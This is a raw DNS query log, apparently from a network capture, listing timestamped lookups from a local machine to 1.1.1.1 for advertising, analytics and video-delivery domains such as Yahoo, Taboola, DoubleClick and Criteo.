May 24, 2024 00:34:53.927568913 CEST	192.168.2.6	1.1.1.1	0x2b48	Standard query (0)	rp.liadm.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.928572893 CEST	192.168.2.6	1.1.1.1	0x2b61	Standard query (0)	rp.liadm.com	65	IN (0x0001)	false
May 24, 2024 00:34:54.044379950 CEST	192.168.2.6	1.1.1.1	0x3a15	Standard query (0)	cdn.taboola.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.044641972 CEST	192.168.2.6	1.1.1.1	0x6ab9	Standard query (0)	cdn.taboola.com	65	IN (0x0001)	false
May 24, 2024 00:34:54.066112995 CEST	192.168.2.6	1.1.1.1	0xb861	Standard query (0)	ncp-gw-video.media.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.066598892 CEST	192.168.2.6	1.1.1.1	0x1465	Standard query (0)	ncp-gw-video.media.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:54.180939913 CEST	192.168.2.6	1.1.1.1	0x481	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.181523085 CEST	192.168.2.6	1.1.1.1	0x9f6d	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
May 24, 2024 00:34:54.639050007 CEST	192.168.2.6	1.1.1.1	0x69bc	Standard query (0)	players.brightcove.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.639197111 CEST	192.168.2.6	1.1.1.1	0xe492	Standard query (0)	players.brightcove.net	65	IN (0x0001)	false
May 24, 2024 00:34:54.696557045 CEST	192.168.2.6	1.1.1.1	0xdf18	Standard query (0)	video-api.yql.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.696691036 CEST	192.168.2.6	1.1.1.1	0x6b47	Standard query (0)	video-api.yql.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:55.401475906 CEST	192.168.2.6	1.1.1.1	0x76a9	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.401918888 CEST	192.168.2.6	1.1.1.1	0x1771	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
May 24, 2024 00:34:55.513524055 CEST	192.168.2.6	1.1.1.1	0x8f78	Standard query (0)	opus.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.513915062 CEST	192.168.2.6	1.1.1.1	0xef24	Standard query (0)	opus.analytics.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:55.666851997 CEST	192.168.2.6	1.1.1.1	0x487c	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.667172909 CEST	192.168.2.6	1.1.1.1	0xef50	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
May 24, 2024 00:34:55.668512106 CEST	192.168.2.6	1.1.1.1	0x7edc	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.668898106 CEST	192.168.2.6	1.1.1.1	0x6bb8	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
May 24, 2024 00:34:55.669650078 CEST	192.168.2.6	1.1.1.1	0x7496	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.669996023 CEST	192.168.2.6	1.1.1.1	0x6ea2	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
May 24, 2024 00:34:55.670753956 CEST	192.168.2.6	1.1.1.1	0x260b	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.670994043 CEST	192.168.2.6	1.1.1.1	0x8580	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:55.678508043 CEST	192.168.2.6	1.1.1.1	0xb609	Standard query (0)	sync.ipredictive.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.678853989 CEST	192.168.2.6	1.1.1.1	0xde4b	Standard query (0)	sync.ipredictive.com	65	IN (0x0001)	false
May 24, 2024 00:34:55.679827929 CEST	192.168.2.6	1.1.1.1	0xd2f4	Standard query (0)	match.deepintent.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.679960012 CEST	192.168.2.6	1.1.1.1	0x98d5	Standard query (0)	match.deepintent.com	65	IN (0x0001)	false
May 24, 2024 00:34:55.689549923 CEST	192.168.2.6	1.1.1.1	0x9e45	Standard query (0)	b1sync.zemanta.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:55.689809084 CEST	192.168.2.6	1.1.1.1	0x53de	Standard query (0)	b1sync.zemanta.com	65	IN (0x0001)	false
May 24, 2024 00:34:56.382908106 CEST	192.168.2.6	1.1.1.1	0xb7c9	Standard query (0)	cdn.taboola.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.383336067 CEST	192.168.2.6	1.1.1.1	0xc7f3	Standard query (0)	cdn.taboola.com	65	IN (0x0001)	false
May 24, 2024 00:34:56.756567955 CEST	192.168.2.6	1.1.1.1	0x64ff	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.756699085 CEST	192.168.2.6	1.1.1.1	0x8eab	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
May 24, 2024 00:34:56.757184029 CEST	192.168.2.6	1.1.1.1	0xbb56	Standard query (0)	yahoo-bidout-d.openx.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.757481098 CEST	192.168.2.6	1.1.1.1	0xf6af	Standard query (0)	yahoo-bidout-d.openx.net	65	IN (0x0001)	false
May 24, 2024 00:34:56.758841038 CEST	192.168.2.6	1.1.1.1	0x2a10	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.758951902 CEST	192.168.2.6	1.1.1.1	0x65ae	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
May 24, 2024 00:34:56.759418011 CEST	192.168.2.6	1.1.1.1	0xce29	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.759531975 CEST	192.168.2.6	1.1.1.1	0x5e33	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:34:56.759886026 CEST	192.168.2.6	1.1.1.1	0x9b20	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.760021925 CEST	192.168.2.6	1.1.1.1	0x1151	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
May 24, 2024 00:34:56.760411978 CEST	192.168.2.6	1.1.1.1	0x66e8	Standard query (0)	eus.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.760525942 CEST	192.168.2.6	1.1.1.1	0xe0b8	Standard query (0)	eus.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:34:56.760910988 CEST	192.168.2.6	1.1.1.1	0x64e7	Standard query (0)	js-sec.indexww.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:56.761267900 CEST	192.168.2.6	1.1.1.1	0x796	Standard query (0)	js-sec.indexww.com	65	IN (0x0001)	false
May 24, 2024 00:34:57.702069998 CEST	192.168.2.6	1.1.1.1	0x726f	Standard query (0)	bh.contextweb.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:57.702208042 CEST	192.168.2.6	1.1.1.1	0x723c	Standard query (0)	bh.contextweb.com	65	IN (0x0001)	false
May 24, 2024 00:34:58.059206009 CEST	192.168.2.6	1.1.1.1	0xf8f2	Standard query (0)	metrics.brightcove.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.059500933 CEST	192.168.2.6	1.1.1.1	0xb9e7	Standard query (0)	metrics.brightcove.com	65	IN (0x0001)	false
May 24, 2024 00:34:58.087716103 CEST	192.168.2.6	1.1.1.1	0x627f	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.088131905 CEST	192.168.2.6	1.1.1.1	0x915	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:58.179445028 CEST	192.168.2.6	1.1.1.1	0xe9cb	Standard query (0)	edge-auth.api.brightcove.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.179665089 CEST	192.168.2.6	1.1.1.1	0xaec4	Standard query (0)	edge-auth.api.brightcove.com	65	IN (0x0001)	false
May 24, 2024 00:34:58.601393938 CEST	192.168.2.6	1.1.1.1	0x57a1	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.601516008 CEST	192.168.2.6	1.1.1.1	0x41a2	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
May 24, 2024 00:34:58.620811939 CEST	192.168.2.6	1.1.1.1	0xccf4	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.621085882 CEST	192.168.2.6	1.1.1.1	0xdee9	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
May 24, 2024 00:34:58.689573050 CEST	192.168.2.6	1.1.1.1	0x48d3	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.689697981 CEST	192.168.2.6	1.1.1.1	0x7adc	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:34:58.752182961 CEST	192.168.2.6	1.1.1.1	0x4105	Standard query (0)	image6.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.752533913 CEST	192.168.2.6	1.1.1.1	0xea3e	Standard query (0)	image6.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:34:58.800887108 CEST	192.168.2.6	1.1.1.1	0x82c4	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.801017046 CEST	192.168.2.6	1.1.1.1	0x10fc	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
May 24, 2024 00:34:58.899828911 CEST	192.168.2.6	1.1.1.1	0x4104	Standard query (0)	tg.socdm.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.900095940 CEST	192.168.2.6	1.1.1.1	0x6ccb	Standard query (0)	tg.socdm.com	65	IN (0x0001)	false
May 24, 2024 00:34:58.984524012 CEST	192.168.2.6	1.1.1.1	0x76c9	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:58.984714985 CEST	192.168.2.6	1.1.1.1	0x2c2	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.005696058 CEST	192.168.2.6	1.1.1.1	0xd30d	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.005820990 CEST	192.168.2.6	1.1.1.1	0x7973	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.027805090 CEST	192.168.2.6	1.1.1.1	0x5f3	Standard query (0)	secure-assets.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.027935982 CEST	192.168.2.6	1.1.1.1	0x4a9b	Standard query (0)	secure-assets.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.108030081 CEST	192.168.2.6	1.1.1.1	0x2d9d	Standard query (0)	match.deepintent.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.108397961 CEST	192.168.2.6	1.1.1.1	0xb1a9	Standard query (0)	match.deepintent.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.114511967 CEST	192.168.2.6	1.1.1.1	0xe30a	Standard query (0)	metrics.brightcove.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.114728928 CEST	192.168.2.6	1.1.1.1	0x2b79	Standard query (0)	metrics.brightcove.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.175862074 CEST	192.168.2.6	1.1.1.1	0xddf7	Standard query (0)	help.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.176192999 CEST	192.168.2.6	1.1.1.1	0xc1a4	Standard query (0)	help.aol.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.278784990 CEST	192.168.2.6	1.1.1.1	0x26ed	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.279175043 CEST	192.168.2.6	1.1.1.1	0x4d4f	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
May 24, 2024 00:34:59.383829117 CEST	192.168.2.6	1.1.1.1	0x49f	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.383982897 CEST	192.168.2.6	1.1.1.1	0xd2b7	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.434125900 CEST	192.168.2.6	1.1.1.1	0xdcbe	Standard query (0)	static.criteo.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.434345007 CEST	192.168.2.6	1.1.1.1	0x62d8	Standard query (0)	static.criteo.net	65	IN (0x0001)	false
May 24, 2024 00:34:59.474853039 CEST	192.168.2.6	1.1.1.1	0x1703	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.475181103 CEST	192.168.2.6	1.1.1.1	0x2eab	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.490502119 CEST	192.168.2.6	1.1.1.1	0xdf19	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.490798950 CEST	192.168.2.6	1.1.1.1	0x7802	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
May 24, 2024 00:34:59.568983078 CEST	192.168.2.6	1.1.1.1	0x4fad	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.569317102 CEST	192.168.2.6	1.1.1.1	0x74b1	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.603034973 CEST	192.168.2.6	1.1.1.1	0xfba1	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.603178978 CEST	192.168.2.6	1.1.1.1	0xad41	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.639224052 CEST	192.168.2.6	1.1.1.1	0x41e9	Standard query (0)	cms.quantserve.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.639508963 CEST	192.168.2.6	1.1.1.1	0x914a	Standard query (0)	cms.quantserve.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.777165890 CEST	192.168.2.6	1.1.1.1	0x371a	Standard query (0)	ssbsync.smartadserver.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.777314901 CEST	192.168.2.6	1.1.1.1	0xf87d	Standard query (0)	ssbsync.smartadserver.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.777908087 CEST	192.168.2.6	1.1.1.1	0xb685	Standard query (0)	pbs.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.778049946 CEST	192.168.2.6	1.1.1.1	0x3bd5	Standard query (0)	pbs.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.780016899 CEST	192.168.2.6	1.1.1.1	0xe607	Standard query (0)	manifest.prod.boltdns.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.780167103 CEST	192.168.2.6	1.1.1.1	0x23bf	Standard query (0)	manifest.prod.boltdns.net	65	IN (0x0001)	false
May 24, 2024 00:34:59.903867006 CEST	192.168.2.6	1.1.1.1	0xa13	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.904067039 CEST	192.168.2.6	1.1.1.1	0xc83f	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.904512882 CEST	192.168.2.6	1.1.1.1	0xeb30	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.904659033 CEST	192.168.2.6	1.1.1.1	0x45	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.905792952 CEST	192.168.2.6	1.1.1.1	0xee69	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.906038046 CEST	192.168.2.6	1.1.1.1	0x47a4	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
May 24, 2024 00:34:59.906441927 CEST	192.168.2.6	1.1.1.1	0x3326	Standard query (0)	cr.frontend.weborama.fr	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.906586885 CEST	192.168.2.6	1.1.1.1	0x1121	Standard query (0)	cr.frontend.weborama.fr	65	IN (0x0001)	false
May 24, 2024 00:34:59.907208920 CEST	192.168.2.6	1.1.1.1	0x5d42	Standard query (0)	mwzeom.zeotap.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.907371044 CEST	192.168.2.6	1.1.1.1	0xf338	Standard query (0)	mwzeom.zeotap.com	65	IN (0x0001)	false
May 24, 2024 00:34:59.908633947 CEST	192.168.2.6	1.1.1.1	0x211d	Standard query (0)	um.simpli.fi	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.908889055 CEST	192.168.2.6	1.1.1.1	0xff23	Standard query (0)	um.simpli.fi	65	IN (0x0001)	false
May 24, 2024 00:35:00.292212009 CEST	192.168.2.6	1.1.1.1	0x51a4	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:00.292613029 CEST	192.168.2.6	1.1.1.1	0x2441	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:35:00.294433117 CEST	192.168.2.6	1.1.1.1	0xbdbf	Standard query (0)	tb.pbs.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:00.294732094 CEST	192.168.2.6	1.1.1.1	0x8a60	Standard query (0)	tb.pbs.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:01.635802984 CEST	192.168.2.6	1.1.1.1	0xa889	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.636244059 CEST	192.168.2.6	1.1.1.1	0x8ffa	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:35:01.638293028 CEST	192.168.2.6	1.1.1.1	0xfddc	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.638464928 CEST	192.168.2.6	1.1.1.1	0x21	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
May 24, 2024 00:35:01.640311003 CEST	192.168.2.6	1.1.1.1	0xd819	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.640552998 CEST	192.168.2.6	1.1.1.1	0xda06	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:35:01.655997038 CEST	192.168.2.6	1.1.1.1	0xecc9	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.656676054 CEST	192.168.2.6	1.1.1.1	0x1f7f	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
May 24, 2024 00:35:01.844141960 CEST	192.168.2.6	1.1.1.1	0x400e	Standard query (0)	s0.2mdn.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.881023884 CEST	192.168.2.6	1.1.1.1	0xf773	Standard query (0)	s0.2mdn.net	65	IN (0x0001)	false
May 24, 2024 00:35:01.964757919 CEST	192.168.2.6	1.1.1.1	0xc62f	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.965023994 CEST	192.168.2.6	1.1.1.1	0xec92	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.227648973 CEST	192.168.2.6	1.1.1.1	0x3a97	Standard query (0)	yahoo-match.dotomi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.227796078 CEST	192.168.2.6	1.1.1.1	0xa2a2	Standard query (0)	yahoo-match.dotomi.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.299348116 CEST	192.168.2.6	1.1.1.1	0x5f2c	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.299602985 CEST	192.168.2.6	1.1.1.1	0xac2a	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.842083931 CEST	192.168.2.6	1.1.1.1	0x8404	Standard query (0)	edge-auth.api.brightcove.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.842267990 CEST	192.168.2.6	1.1.1.1	0x2598	Standard query (0)	edge-auth.api.brightcove.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.843219042 CEST	192.168.2.6	1.1.1.1	0x8762	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.843477011 CEST	192.168.2.6	1.1.1.1	0x2749	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.844592094 CEST	192.168.2.6	1.1.1.1	0x85b6	Standard query (0)	hbx.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.844744921 CEST	192.168.2.6	1.1.1.1	0x67ab	Standard query (0)	hbx.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:02.855695009 CEST	192.168.2.6	1.1.1.1	0x465a	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.855845928 CEST	192.168.2.6	1.1.1.1	0x7ef8	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.856796026 CEST	192.168.2.6	1.1.1.1	0xfa24	Standard query (0)	pixel-eu.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.856908083 CEST	192.168.2.6	1.1.1.1	0x2479	Standard query (0)	pixel-eu.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.857604027 CEST	192.168.2.6	1.1.1.1	0x55f4	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.857737064 CEST	192.168.2.6	1.1.1.1	0x995e	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.857940912 CEST	192.168.2.6	1.1.1.1	0x451b	Standard query (0)	c21lg-d.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.858043909 CEST	192.168.2.6	1.1.1.1	0xc886	Standard query (0)	c21lg-d.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:02.858257055 CEST	192.168.2.6	1.1.1.1	0xb988	Standard query (0)	sync.go.sonobi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.858364105 CEST	192.168.2.6	1.1.1.1	0xa92b	Standard query (0)	sync.go.sonobi.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.858577967 CEST	192.168.2.6	1.1.1.1	0x9eca	Standard query (0)	medianet-match.dotomi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.858807087 CEST	192.168.2.6	1.1.1.1	0x3d70	Standard query (0)	medianet-match.dotomi.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.859306097 CEST	192.168.2.6	1.1.1.1	0xd36b	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.859416962 CEST	192.168.2.6	1.1.1.1	0xb253	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
May 24, 2024 00:35:02.860208988 CEST	192.168.2.6	1.1.1.1	0x9536	Standard query (0)	p.rfihub.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.860327959 CEST	192.168.2.6	1.1.1.1	0x6fbb	Standard query (0)	p.rfihub.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.861831903 CEST	192.168.2.6	1.1.1.1	0x8f50	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.861969948 CEST	192.168.2.6	1.1.1.1	0x799e	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
May 24, 2024 00:35:02.862340927 CEST	192.168.2.6	1.1.1.1	0x5782	Standard query (0)	pixel.onaudience.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.862533092 CEST	192.168.2.6	1.1.1.1	0x452c	Standard query (0)	pixel.onaudience.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.863059044 CEST	192.168.2.6	1.1.1.1	0x2bf8	Standard query (0)	pixel-sync.sitescout.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.863182068 CEST	192.168.2.6	1.1.1.1	0x206a	Standard query (0)	pixel-sync.sitescout.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.863552094 CEST	192.168.2.6	1.1.1.1	0x2922	Standard query (0)	pubmatic-match.dotomi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.863718987 CEST	192.168.2.6	1.1.1.1	0xaef9	Standard query (0)	pubmatic-match.dotomi.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.864412069 CEST	192.168.2.6	1.1.1.1	0x8a6	Standard query (0)	dis.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.864553928 CEST	192.168.2.6	1.1.1.1	0xf069	Standard query (0)	dis.criteo.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.865123987 CEST	192.168.2.6	1.1.1.1	0xef76	Standard query (0)	dsp.adfarm1.adition.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.865326881 CEST	192.168.2.6	1.1.1.1	0xdb33	Standard query (0)	dsp.adfarm1.adition.com	65	IN (0x0001)	false
May 24, 2024 00:35:02.866569042 CEST	192.168.2.6	1.1.1.1	0x1ed	Standard query (0)	t.adx.opera.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.866718054 CEST	192.168.2.6	1.1.1.1	0x9f56	Standard query (0)	t.adx.opera.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.419552088 CEST	192.168.2.6	1.1.1.1	0xe9e2	Standard query (0)	edge-auth.api.brightcove.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.419950008 CEST	192.168.2.6	1.1.1.1	0xd527	Standard query (0)	edge-auth.api.brightcove.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.420348883 CEST	192.168.2.6	1.1.1.1	0x5895	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.420962095 CEST	192.168.2.6	1.1.1.1	0xf774	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.421400070 CEST	192.168.2.6	1.1.1.1	0x5da2	Standard query (0)	hbx.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.421982050 CEST	192.168.2.6	1.1.1.1	0xaaf5	Standard query (0)	hbx.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:03.422135115 CEST	192.168.2.6	1.1.1.1	0xd26	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.422358990 CEST	192.168.2.6	1.1.1.1	0xb3a9	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.436800003 CEST	192.168.2.6	1.1.1.1	0x92ef	Standard query (0)	pixel-eu.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.437149048 CEST	192.168.2.6	1.1.1.1	0x88f6	Standard query (0)	pixel-eu.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.437937975 CEST	192.168.2.6	1.1.1.1	0xd9db	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.438200951 CEST	192.168.2.6	1.1.1.1	0xdeac	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.438560009 CEST	192.168.2.6	1.1.1.1	0x6342	Standard query (0)	c21lg-d.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.439030886 CEST	192.168.2.6	1.1.1.1	0xe092	Standard query (0)	c21lg-d.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:03.440864086 CEST	192.168.2.6	1.1.1.1	0xacd0	Standard query (0)	sync.go.sonobi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.441462994 CEST	192.168.2.6	1.1.1.1	0x941a	Standard query (0)	sync.go.sonobi.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.441732883 CEST	192.168.2.6	1.1.1.1	0xbd22	Standard query (0)	medianet-match.dotomi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.442158937 CEST	192.168.2.6	1.1.1.1	0x933	Standard query (0)	medianet-match.dotomi.com	65	IN (0x0001)	false
May 24, 2024 00:35:03.442459106 CEST	192.168.2.6	1.1.1.1	0x4a8d	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.443227053 CEST	192.168.2.6	1.1.1.1	0x3d0	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
May 24, 2024 00:35:03.443795919 CEST	192.168.2.6	1.1.1.1	0x2478	Standard query (0)	p.rfihub.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:03.444022894 CEST	192.168.2.6	1.1.1.1	0x8407	Standard query (0)	p.rfihub.com	65	IN (0x0001)	false
